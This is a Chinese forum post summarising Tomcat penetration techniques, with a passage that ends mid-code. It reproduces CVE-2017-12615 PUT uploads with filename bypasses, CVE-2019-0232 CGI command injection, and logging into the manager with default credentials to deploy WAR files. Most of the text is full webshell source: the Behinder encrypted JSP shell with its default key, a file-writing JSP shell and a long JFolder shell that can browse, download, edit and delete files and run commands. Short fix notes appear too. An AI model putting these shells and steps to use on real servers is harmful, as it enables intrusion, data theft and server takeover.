电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1593 人浏览分享

Tomcat渗透测试方法总结

[复制链接]
1593 0
前言

Tomcat服务器是一个免费的开放源代码的web应用服务器 属于轻量级应用服务器 在中小型系统和并发访问用户不是很多的
场合下被普遍使用是开发和调试JSP程序的首选。可以这样认为 当在一台机器上配置好 Apache服务器 可利用它响应HTML
页面的访问请求。实际上 Tomcat是 Apache服务器的扩展,但运行时它是独立运行的,所以当运行 tomcat时,它实际上
作为一个与 Apache独立的进程单独运行的。

目前版本型号7~10版本

默认端口:8080

安装

首先要有java的环境

注意:Tomcat的版本对与JAVA版本以及相应的JSP和 Servlet都是有要求的 Tomcat8版本以上的是
需要Java7及以后的版本所以需要对应JDK的版本来下载Tomcat的版本

QQ截图20210731143951.png

然后安装Tomcat 一路默认下来 就ok了

9998.png

可以看到它的8080端口 已经开启了

QQ截图20210731144117.png

访问一下

9996.png

Tomcat分析

主要文件
1.server.xml:配置 tomcat启动的端口号 host主机 Context等
2.web.xml:部署描述文件 这个web.xml中描述了一些默认的 servlet 部署每个 webapp时 都会
调用这个文件配置该web应用的默认 servlet
3:tomcat-users.xml:tomcat的用户密码与权限。

9992.png

上传目录

9991.png

Tomcat渗透

Tomcat任意文件写入(CVE-2017-12615)

影响范围

Apache Tomcat7.0.0-7.0.81(默认配置)

复现

这边我用vulhub
  1. sudo service docker start
  2. cd vulhub/tomcat/CVE-2017-12615
  3. sudo docker-compose build
  4. sudo docker-compose up -d
复制代码

QQ截图20210731144603.png

去底层看看源码
  1. sudo docker ps
  2. sudo docker exec -ti a3 bash
  3. cat conf/web.xml |grep readonly
复制代码

9990.png

漏洞原理
产生是由于配置不当 非默认配置 将配置文件conf/web.xml中的readonly设置为了 false 导致可以使用PUT
方法上传任意文件 但限制了jsp后缀,不过对于不同平台有多种绕过方法
开始复现
抓包 改位PUT 上传方式

8999.png

去上传目录看看
  1. /usr/local/tomcat/webapps/ROOT
复制代码

成功上传

绕过 成功上传jsp
  1. 1.Windows下不允许文件以空格结尾
  2. 以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
  3. 2.WindowsNTFS流
  4. Put/a001.jsp::$DATA HTTP/1.1
  5. 3. /在文件名中是非法的,也会被去除(Linux/Windows)
  6. Put/a001.jsp/http:/1.1
复制代码

可以看到上传a001.jsp 是成功绕过了

8998.png

8996.png

其他两种我就不进行演示了

都是可以的

上传马儿,这边我用冰蝎进行连接

注意:不能开代理

看看冰蝎server目录下的jsp马儿

8992.png

8991.png

冰蝎的jsp马儿
  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){sup
  2. er(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){Strin
  3. g k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBy
  4. tes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.ge
  5. tReader().readLine()))).newInstance().equals(pageContext);}%>
复制代码
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

注意这边要用/进行绕过,上传jsp

8990.png

也可以看到是成功上传的

6999.png

6998.png

用冰蝎进行连接一下

6996.png

最新版本复现

这边把这个漏洞的代码 粘贴进最新的版本

不加的话 PUT上传txt都是不可以的
  1. <init-param>
  2. <param-name>readonly</param-name>
  3. <param-value>false</param-value>
  4. </init-param>
复制代码

6992.png

保存退出 进行重启Tomcat

6991.png

6990.png

699.png

确实是可以成功写入的

698.png

进行PUT写入txt 发现它是可以的

但是绕过 上传jsp 三种方法我都试了 是不行的

修复

把readonly 改成true
  1. <init-param>
  2. <param-name>readonly</param-name>
  3. <param-value>false</param-value>
  4. </init-param>
复制代码

Tomcat远程代码执行(CVE-2019-0232)

影响范围
  1. Apache Tomcat 9.0.0.M1 to 9.0.17
  2. Apache Tomcat 8.5.0 to 8.5.39
  3. Apache Tomcat 7.0.0 to 7.0.93
复制代码

这边就用 windows 8.5.39 进行复现

安装

同样是先安装java

697.png

然后安装Tomcat

696.png

683.png

访问一下

682.png

漏洞原理
漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java中 CGISerlvet提供了一个cgi
的调用接口在启用enableCmdLineArguments参数时 会根据RFC3875来从Url参数中生成命令行参数 并把
参数传递至Java的Runtime执行。

这个漏洞是因为Runtime.getRuntime().exec在 Windows中和 Linux中底层实现不同导致的
Java的Runtime.getRuntime().exec在CGI调用这种情况下很难有命令注入。
而 Windows中创建进程使用的是 CreateProcess 会将参数合并成字符串 作为lpComandLine传入 CreateProcess
程序启动后调用GetcommandLine获取参数 并调用CommandLineToArgw传至argv
在 Windows中,当CreateProcess中的参数为bat文件或是cmd文件时 会调用 cmd.exe 故最后会变成cmd.exe /c a001.bat
dir而Java的调用过程并没有做任何的转义 所以在 Windows下会存在漏洞。

除此之外 Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过
例如dir "\"&whoami"在 Linux中是安全的 而在Windows会执行命令。
这是因为 Windows在处理命令行参数时 会将"中的内容拷贝为下一个参数 直到命令行结束或者遇到下一个但
是对 的处理有误。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检査才能避免漏洞岀现。

漏洞分析
Tomcat的 CGI_Servlet组件默认是关闭的 在conf/web.xml中找到注释的 CGIServlet部分 去掉注释
并配置 enableCmdLineArguments和executable

681.png

就是配置这里
  1. <servlet>
  2.     <servlet-name>cgi</servlet-name>
  3.     <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
  4.     <init-param>
  5.         <param-name>cgiPathPrefix</param-name>
  6.         <param-value>WEB-INF/cgi</param-value>
  7.     </init-param>
  8.         <init-param>
  9.         <param-name>enableCmdLineArguments</param-name>
  10.                 <param-value>true</param-value>
  11.         </init-param>
  12.         <init-param>
  13.             <param-name>executable</param-name>
  14.             <param-value></param-value>
  15.         </init-param>
  16.     <load-on-startup>5</load-on-startup>
  17. </servlet>
复制代码

这里主要的设置是enableCmdLineArguments和 executable两个选项
1.enableCmdLineArguments启用后才会将Url中的参数传递到命令行
2.executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。

同样在conf/web.xml中启用cgi的 servlet-mapping

680.png

修改conf/context.xml的添加 privileged="true"属性,否则会没有权限
  1. <Context privileged="true">
复制代码

100.png

配置目录文件

在C:\Tomcat\webapps\ROOT\WEB-INF下创建cgi-bin目录

并在该目录下创建一个a001.txt

里面内容随意

99.png

98.png

记得重启一下

96.png

然后我们访问
  1. http://192.168.175.193:8080/cgi-bin/a001.bat?&dir
复制代码

可以看到成功任意代码执行!

修复方式
开发者在 patch中增加了cmdLineArgumentsDecoded参数 这个参数用来校验传入的命令行参数
如果传入的命令行参数不符合规定的模式 则不执行。
校验写在 setupFromRequest函数中
  1. [code]String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
  2. if (cmdLineArgumentsDecodedPattern != null &&
  3. !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
  4. if (log.isDebugEnabled()) {
  5. log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
  6. decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
  7. }
  8. return false;
  9. }
复制代码

不通过时 会将 CGIEnvironment的valid参数设为 false,在之后的处理函数中会直接跳过执行
if (cgiEnv.isValid()) {
CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
cgiEnv.getEnvironment(),
cgiEnv.getWorkingDirectory(),
cgiEnv.getParameters());
if ("POST".equals(req.getMethod())) {
cgi.setInput(req.getInputStream());
}
cgi.setResponse(res);
cgi.run();
} else {
res.sendError(404);
}[/code]
修复建议
1.使用更新版本的 Apache Tomcat。这里需要注意的是 虽然在9.0.18就修复了这个漏洞 但这个更新是并没有通过
候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本
2.关闭 enableCmdLineArguments参数

Tomcat弱口令&后台getshell漏洞

影响范围

Tomcat8

这边就还是用vulhub进行复现
  1. cd vulhub-master/tomcat/tomcat8
  2. sudo docker-compose up -d
复制代码

92.png

之前的容器要关掉

去docker底层看看它的源码
  1. sudo docker ps
  2. sudo docker exec -ti a bash
  3. cd conf
复制代码

把这三个文件复制出来
  1. sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xml /home/dayu/Desktop/
  2. sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/
  3. sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/
复制代码

91.png

90.png

89.png

源码
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <tomcat-users xmlns="http://tomcat.apache.org/xml"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
  5. version="1.0">
  6. <role rolename="manager-gui"/> <role rolename="manager-script"/>
  7. <role rolename="manager-jmx"/>
  8. <role rolename="manager-status"/>
  9. <role rolename="admin-gui"/>
  10. <role rolename="admin-script"/>
  11. <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,m
  12. anager-jmx,manager-status,admin-gui,admin-script" />

  13. </tomcat-users>
复制代码

manager(后台管理)
  1. manager-gui     拥有htmL页面权限
  2. manager-status  拥有查看 status的权限
  3. manager-script  拥有text接口的权限,和 status权限
  4. manager-jmx     拥有jmx权限,和 status权限
复制代码

host-manager(虚拟主机管理
  1. admin-gui    拥有html页面权限
  2. admin-script 拥有text接口权限
复制代码

访问一下

88.png

访问一下它的后台管理地址
  1. /manager/html
复制代码

87.png

或者点这里

86.png

它的登录窗口是没有验证码的 直接爆破就可以

默认
  1. Users:Tomcat

  2. Passwd:Tomcat
复制代码

登录进去之后 进行查看

83.png

为什么需要上传wa包 为什么不是 tar.zip??

war包是用来进行Web开发时一个网站项目下的所有代码 包括前台HTML/CSS/JS代码 以及后台JavaWeb的代码 当开发人员
开发完毕时,就会将源码打包给测试人员测试 测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下
的webapps或word目录,当Tomcat服务器启动时 War包即会随之解压源代码来进行自动部署。

上传JSP的大马
  1. <%@page contentType="text/html;charset=gb2312"%>   
  2. <%@page import="java.io.*,java.util.*,java.net.*"%>   
  3. <html>   
  4.   <head>   
  5.     <title></title>   
  6.     <style type="text/css">   
  7.      body { color:red; font-size:12px; background-color:white; }   
  8.     </style>   
  9.   </head>   
  10.   <body>   
  11.   <%   
  12.    if(request.getParameter("context")!=null)   
  13.    {   
  14.    String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");   
  15.    String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");   
  16.    OutputStream pt = null;   
  17.         try {   
  18.             pt = new FileOutputStream(path);   
  19.             pt.write(context.getBytes());   
  20.             out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getS
  21. erverPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上
  22. 传的文件页面!'>上传成功!</font></a>");   
  23.         } catch (FileNotFoundException ex2) {   
  24.             out.println("<font color='red'>上传失败!</font>");   
  25.         } catch (IOException ex) {   
  26.             out.println("<font color='red'>上传失败!</font>");   
  27.         } finally {   
  28.             try {   
  29.                 pt.close();   
  30.             } catch (IOException ex3) {   
  31.                 out.println("<font color='red'>上传失败!</font>");   
  32.             }   
  33.         }   
  34. }   
  35.   %>   
  36.     <form name="frmUpload" method="post" action="">   
  37.     <font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>   
  38.     <br>   
  39.     <br>   
  40.     <font color="blue">上传文件路径:</font><input type="text" size="70" name="path" valu
  41. e="<%out.print(getServletContext().getRealPath("/")); %>">   
  42.     <br>   
  43.     <br>   
  44.     上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>   
  45.     <br>   
  46.     <br>   
  47.     <input type="submit" name="btnSubmit" value="Upload">   
  48.     </form>   
  49.   </body>   
  50. </html>   
复制代码

zip压缩 然后改后缀 成war的包

或者使用Java命令:
jar -cvf dayu.war dayu.jsp

82.png

81.png

这里的/2就是war包的名字

去docker底层看看是否成功上传
80.png

它会自动部署 那我们访问一下

69.png

成功解析jsp大马 并能 upload上传功能!

这里上传冰蝎的jsp马儿
  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassL
  2. oader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMe
  3. thod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstanc
  4. e("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFin
  5. al(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equ
  6. ls(pageContext);}%>
复制代码
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

68.png

upload之后 上冰蝎进行连接

67.png

66.png

在贴一个牛逼的JSP大马
  1. <%
  2. /**
  3. JFolder V0.9  windows platform
  4. @Filename: JFolder.jsp
  5. @Description: 一个简单的系统文件目录显示程序 类似于资源管理器 提供基本的文件操作 不过功能较弱。

  6. @Bugs  :  下载时,中文文件名无法正常显示
  7. */
  8. %>
  9. <%@ page contentType="text/html;charset=gb2312"%>
  10. <%@page import="java.io.*,java.util.*,java.net.*" %>
  11. <%!
  12. private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
  13. String strThisFile="JFolder.jsp";
  14. String[] authorInfo={" <font color=red> 岁月联盟-专用版 </font>"," <font color=red> Than
  15. ks for your support - - by Steven Cee http:// </font>"};
  16. String[] strFileManage   = {"文 件 管 理","File Management"};
  17. String[] strCommand      = {"CMD 命 令","Command Window"};
  18. String[] strSysProperty  = {"系 统 属 性","System Property"};
  19. String[] strHelp         = {"帮 助","Help"};
  20. String[] strParentFolder = {"上级目录","Parent Folder"};
  21. String[] strCurrentFolder= {"当前目录","Current Folder"};
  22. String[] strDrivers      = {"驱动器","Drivers"};
  23. String[] strFileName     = {"文件名称","File Name"};
  24. String[] strFileSize     = {"文件大小","File Size"};
  25. String[] strLastModified = {"最后修改","Last Modified"};
  26. String[] strFileOperation= {"文件操作","Operations"};
  27. String[] strFileEdit     = {"修改","Edit"};
  28. String[] strFileDown     = {"下载","Download"};
  29. String[] strFileCopy     = {"复制","Move"};
  30. String[] strFileDel      = {"删除","Delete"};
  31. String[] strExecute      = {"执行","Execute"};
  32. String[] strBack         = {"返回","Back"};
  33. String[] strFileSave     = {"保存","Save"};

  34. public class FileHandler
  35. {
  36. private String strAction="";
  37. private String strFile="";
  38. void FileHandler(String action,String f)
  39. {

  40. }
  41. }

  42. public static class UploadMonitor {

  43.   static Hashtable uploadTable = new Hashtable();

  44.   static void set(String fName, UplInfo info) {
  45.    uploadTable.put(fName, info);
  46.   }

  47.   static void remove(String fName) {
  48.    uploadTable.remove(fName);
  49.   }

  50.   static UplInfo getInfo(String fName) {
  51.    UplInfo info = (UplInfo) uploadTable.get(fName);
  52.    return info;
  53.   }
  54. }

  55. public class UplInfo {

  56.   public long totalSize;
  57.   public long currSize;
  58.   public long starttime;
  59.   public boolean aborted;

  60.   public UplInfo() {
  61.    totalSize = 0l;
  62.    currSize = 0l;
  63.    starttime = System.currentTimeMillis();
  64.    aborted = false;
  65.   }

  66.   public UplInfo(int size) {
  67.    totalSize = size;
  68.    currSize = 0;
  69.    starttime = System.currentTimeMillis();
  70.    aborted = false;
  71.   }

  72.   public String getUprate() {
  73.    long time = System.currentTimeMillis() - starttime;
  74.    if (time != 0) {
  75.     long uprate = currSize * 1000 / time;
  76.     return convertFileSize(uprate) + "/s";
  77.    }
  78.    else return "n/a";
  79.   }

  80.   public int getPercent() {
  81.    if (totalSize == 0) return 0;
  82.    else return (int) (currSize * 100 / totalSize);
  83.   }

  84.   public String getTimeElapsed() {
  85.    long time = (System.currentTimeMillis() - starttime) / 1000l;
  86.    if (time - 60l >= 0){
  87.     if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
  88.     else return time / 60 + ":0" + (time % 60) + "m";
  89.    }
  90.    else return time<10 ? "0" + time + "s": time + "s";
  91.   }

  92.   public String getTimeEstimated() {
  93.    if (currSize == 0) return "n/a";
  94.    long time = System.currentTimeMillis() - starttime;
  95.    time = totalSize * time / currSize;
  96.    time /= 1000l;
  97.    if (time - 60l >= 0){
  98.     if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
  99.     else return time / 60 + ":0" + (time % 60) + "m";
  100.    }
  101.    else return time<10 ? "0" + time + "s": time + "s";
  102.   }

  103. }

  104. public class FileInfo {

  105.   public String name = null, clientFileName = null, fileContentType = null;
  106.   private byte[] fileContents = null;
  107.   public File file = null;
  108.   public StringBuffer sb = new StringBuffer(100);

  109.   public void setFileContents(byte[] aByteArray) {
  110.    fileContents = new byte[aByteArray.length];
  111.    System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  112.   }
  113. }

  114. // A Class with methods used to process a ServletInputStream
  115. public class HttpMultiPartParser {

  116.   private final String lineSeparator = System.getProperty("line.separator", "\n");
  117.   private final int ONE_MB = 1024 * 1;

  118.   public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
  119.     int clength) throws IllegalArgumentException, IOException {
  120.    if (is == null) throw new IllegalArgumentException("InputStream");
  121.    if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
  122.      """ + boundary + "" is an illegal boundary indicator");
  123.    boundary = "--" + boundary;
  124.    StringTokenizer stLine = null, stFields = null;
  125.    FileInfo fileInfo = null;
  126.    Hashtable dataTable = new Hashtable(5);
  127.    String line = null, field = null, paramName = null;
  128.    boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
  129.    boolean isFile = false;
  130.    if (saveFiles) { // Create the required directory (including parent dirs)
  131.     File f = new File(saveInDir);
  132.     f.mkdirs();
  133.    }
  134.    line = getLine(is);
  135.    if (line == null || !line.startsWith(boundary)) throw new IOException(
  136.      "Boundary not found; boundary = " + boundary + ", line = " + line);
  137.    while (line != null) {
  138.     if (line == null || !line.startsWith(boundary)) return dataTable;
  139.     line = getLine(is);
  140.     if (line == null) return dataTable;
  141.     stLine = new StringTokenizer(line, ";\r\n");
  142.     if (stLine.countTokens() < 2) throw new IllegalArgumentException(
  143.       "Bad data in second line");
  144.     line = stLine.nextToken().toLowerCase();
  145.     if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
  146.       "Bad data in second line");
  147.     stFields = new StringTokenizer(stLine.nextToken(), "="");
  148.     if (stFields.countTokens() < 2) throw new IllegalArgumentException(
  149.       "Bad data in second line");
  150.     fileInfo = new FileInfo();
  151.     stFields.nextToken();
  152.     paramName = stFields.nextToken();
  153.     isFile = false;
  154.     if (stLine.hasMoreTokens()) {
  155.      field = stLine.nextToken();
  156.      stFields = new StringTokenizer(field, "="");
  157.      if (stFields.countTokens() > 1) {
  158.       if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
  159.        fileInfo.name = paramName;
  160.        String value = stFields.nextToken();
  161.        if (value != null && value.trim().length() > 0) {
  162.         fileInfo.clientFileName = value;
  163.         isFile = true;
  164.        }
  165.        else {
  166.         line = getLine(is); // Skip "Content-Type:" line
  167.         line = getLine(is); // Skip blank line
  168.         line = getLine(is); // Skip blank line
  169.         line = getLine(is); // Position to boundary line
  170.         continue;
  171.        }
  172.       }
  173.      }
  174.      else if (field.toLowerCase().indexOf("filename") >= 0) {
  175.       line = getLine(is); // Skip "Content-Type:" line
  176.       line = getLine(is); // Skip blank line
  177.       line = getLine(is); // Skip blank line
  178.       line = getLine(is); // Position to boundary line
  179.       continue;
  180.      }
  181.     }
  182.     boolean skipBlankLine = true;
  183.     if (isFile) {
  184.      line = getLine(is);
  185.      if (line == null) return dataTable;
  186.      if (line.trim().length() < 1) skipBlankLine = false;
  187.      else {
  188.       stLine = new StringTokenizer(line, ": ");
  189.       if (stLine.countTokens() < 2) throw new IllegalArgumentException(
  190.         "Bad data in third line");
  191.       stLine.nextToken(); // Content-Type
  192.       fileInfo.fileContentType = stLine.nextToken();
  193.      }
  194.     }
  195. if (skipBlankLine) {
  196.      line = getLine(is);
  197.      if (line == null) return dataTable;
  198.     }
  199.     if (!isFile) {
  200.      line = getLine(is);
  201.      if (line == null) return dataTable;
  202.      dataTable.put(paramName, line);
  203.      // If parameter is dir, change saveInDir to dir
  204.      if (paramName.equals("dir")) saveInDir = line;
  205.      line = getLine(is);
  206.      continue;
  207.     }
  208.     try {
  209.      UplInfo uplInfo = new UplInfo(clength);
  210.      UploadMonitor.set(fileInfo.clientFileName, uplInfo);
  211.      OutputStream os = null;
  212.      String path = null;
  213.      if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
  214.        fileInfo.clientFileName));
  215.      else os = new ByteArrayOutputStream(ONE_MB);
  216.      boolean readingContent = true;
  217.      byte previousLine[] = new byte[2 * ONE_MB];
  218.      byte temp[] = null;
  219.      byte currentLine[] = new byte[2 * ONE_MB];
  220.      int read, read3;
  221.      if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
  222.       line = null;
  223.       break;
  224.      }
  225.      while (readingContent) {
  226.       if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
  227.        line = null;
  228.        uplInfo.aborted = true;
  229.        break;
  230.       }
  231.       if (compareBoundary(boundary, currentLine)) {
  232.        os.write(previousLine, 0, read - 2);
  233.        line = new String(currentLine, 0, read3);
  234.        break;
  235.       }
  236.       else {
  237.        os.write(previousLine, 0, read);
  238.        uplInfo.currSize += read;
  239.        temp = currentLine;
  240.        currentLine = previousLine;
  241.        previousLine = temp;
  242.        read = read3;
  243.       }//end else
  244.      }//end while
  245.      os.flush();
  246.      os.close();
  247.      if (!saveFiles) {
  248.       ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
  249.       fileInfo.setFileContents(baos.toByteArray());
  250.      }
  251.      else fileInfo.file = new File(path);
  252.      dataTable.put(paramName, fileInfo);
  253.      uplInfo.currSize = uplInfo.totalSize;
  254.     }//end try
  255.     catch (IOException e) {
  256.      throw e;
  257.     }
  258.    }
  259.    return dataTable;
  260.   }

  261.   /**
  262.    * Compares boundary string to byte array
  263.    */
  264.   private boolean compareBoundary(String boundary, byte ba[]) {
  265.    byte b;
  266.    if (boundary == null || ba == null) return false;
  267.    for (int i = 0; i < boundary.length(); i++)
  268.     if ((byte) boundary.charAt(i) != ba[i]) return false;
  269.    return true;
  270.   }

  271.   /** Convenience method to read HTTP header lines */
  272.   private synchronized String getLine(ServletInputStream sis) throws IOException {
  273.    byte b[] = new byte[1024];
  274.    int read = sis.readLine(b, 0, b.length), index;
  275.    String line = null;
  276.    if (read != -1) {
  277.     line = new String(b, 0, read);
  278.     if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
  279.    }
  280.    return line;
  281.   }

  282.   public String getFileName(String dir, String fileName) throws IllegalArgumentException {
  283.    String path = null;
  284.    if (dir == null || fileName == null) throw new IllegalArgumentException(
  285.      "dir or fileName is null");
  286.    int index = fileName.lastIndexOf('/');
  287.    String name = null;
  288.    if (index >= 0) name = fileName.substring(index + 1);
  289.    else name = fileName;
  290.    index = name.lastIndexOf('\\');
  291.    if (index >= 0) fileName = name.substring(index + 1);
  292.    path = dir + File.separator + fileName;
  293.    if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
  294.    else return path.replace('/', File.separatorChar);
  295.   }
  296. } //End of class HttpMultiPartParser

  297. String formatPath(String p)
  298. {
  299. StringBuffer sb=new StringBuffer();
  300. for (int i = 0; i < p.length(); i++)
  301. {
  302.   if(p.charAt(i)=='\\')
  303.   {
  304.    sb.append("\\\");
  305.   }
  306.   else
  307.   {
  308.    sb.append(p.charAt(i));
  309.   }
  310. }
  311. return sb.toString();
  312. }

  313. /**
  314.   * Converts some important chars (int) to the corresponding html string
  315.   */
  316. static String conv2Html(int i) {
  317.   if (i == '&') return "&amp;";
  318.   else if (i == '<') return "&lt;";
  319.   else if (i == '>') return "&gt;";
  320.   else if (i == '"') return "&quot;";
  321.   else return "" + (char) i;
  322. }

  323. /**
  324.   * Converts a normal string to a html conform string
  325.   */
  326. static String htmlEncode(String st) {
  327.   StringBuffer buf = new StringBuffer();
  328.   for (int i = 0; i < st.length(); i++) {
  329.    buf.append(conv2Html(st.charAt(i)));
  330.   }
  331.   return buf.toString();
  332. }
  333. String getDrivers()
  334. /**
  335. Windows系统上取得可用的所有逻辑盘
  336. */
  337. {
  338. StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
  339. File roots[]=File.listRoots();
  340. for(int i=0;i<roots.length;i++)
  341. {
  342.   sb.append(" <a href="javascript:doForm('','"+roots[i]+"\\','','','1','');">");
  343.   sb.append(roots[i]+"</a>&nbsp;");
  344. }
  345. return sb.toString();
  346. }
  347. static String convertFileSize(long filesize)
  348. {
  349. //bug 5.09M 显示5.9M
  350. String strUnit="Bytes";
  351. String strAfterComma="";
  352. int intDivisor=1;
  353. if(filesize>=1024*1024)
  354. {
  355.   strUnit = "MB";
  356.   intDivisor=1024*1024;
  357. }
  358. else if(filesize>=1024)
  359. {
  360.   strUnit = "KB";
  361.   intDivisor=1024;
  362. }
  363. if(intDivisor==1) return filesize + " " + strUnit;
  364. strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
  365. if(strAfterComma=="") strAfterComma=".0";
  366. return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
  367. }
  368. %>
  369. <%
  370. request.setCharacterEncoding("gb2312");
  371. String tabID = request.getParameter("tabID");
  372. String strDir = request.getParameter("path");
  373. String strAction = request.getParameter("action");
  374. String strFile = request.getParameter("file");
  375. String strPath = strDir + "\" + strFile;
  376. String strCmd = request.getParameter("cmd");
  377. StringBuffer sbEdit=new StringBuffer("");
  378. StringBuffer sbDown=new StringBuffer("");
  379. StringBuffer sbCopy=new StringBuffer("");
  380. StringBuffer sbSaveCopy=new StringBuffer("");
  381. StringBuffer sbNewFile=new StringBuffer("");

  382. if((tabID==null) || tabID.equals(""))
  383. {
  384. tabID = "1";
  385. }

  386. if(strDir==null||strDir.length()<1)
  387. {
  388. strDir = request.getRealPath("/");
  389. }


  390. if(strAction!=null && strAction.equals("down"))
  391. {
  392. File f=new File(strPath);
  393. if(f.length()==0)
  394. {
  395.   sbDown.append("文件大小为 0 字节,就不用下了吧");
  396. }
  397. else
  398. {
  399.   response.setHeader("content-type","text/html; charset=ISO-8859-1");
  400.   response.setContentType("APPLICATION/OCTET-STREAM");
  401.   response.setHeader("Content-Disposition","attachment; filename=""+f.getName()+""");
  402.   FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
  403.   out.clearBuffer();
  404.   int i;
  405.   while ((i=fileInputStream.read()) != -1)
  406.   {
  407.    out.write(i);
  408.   }
  409.   fileInputStream.close();
  410.   out.close();
  411. }
  412. }

  413. if(strAction!=null && strAction.equals("del"))
  414. {
  415. File f=new File(strPath);
  416. f.delete();
  417. }

  418. if(strAction!=null && strAction.equals("edit"))
  419. {
  420. File f=new File(strPath);
  421. BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
  422. sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
  423. sbEdit.append("<input type=hidden name=action value=save >\r\n");
  424. sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
  425. sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
  426. sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
  427. sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' o
  428. nclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
  429. sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
  430. String line="";
  431. while((line=br.readLine())!=null)
  432. {
  433.   sbEdit.append(htmlEncode(line)+"\r\n");  
  434. }
  435.    sbEdit.append("</textarea>");
  436. sbEdit.append("<input type=hidden name=path value="+strDir+">");
  437. sbEdit.append("</form>");
  438. }

  439. if(strAction!=null && strAction.equals("save"))
  440. {
  441. File f=new File(strPath);
  442. BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
  443. String strContent=request.getParameter("content");
  444. bw.write(strContent);
  445. bw.close();
  446. }
  447. if(strAction!=null && strAction.equals("copy"))
  448. {
  449. File f=new File(strPath);
  450. sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
  451. sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
  452. sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
  453. sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
  454. sbCopy.append("原始文件: "+strPath+"<p>");
  455. sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
  456. sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
  457. sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' on
  458. click='history.back(-1);'> <p>&nbsp;\r\n");
  459. sbCopy.append("</form>");
  460. }
  461. if(strAction!=null && strAction.equals("savecopy"))
  462. {
  463. File f=new File(strPath);
  464. String strDesFile=request.getParameter("file2");
  465. if(strDesFile==null || strDesFile.equals(""))
  466. {
  467.   sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
  468. }
  469. else
  470. {
  471.   File f_des=new File(strDesFile);
  472.   if(f_des.isFile())
  473.   {
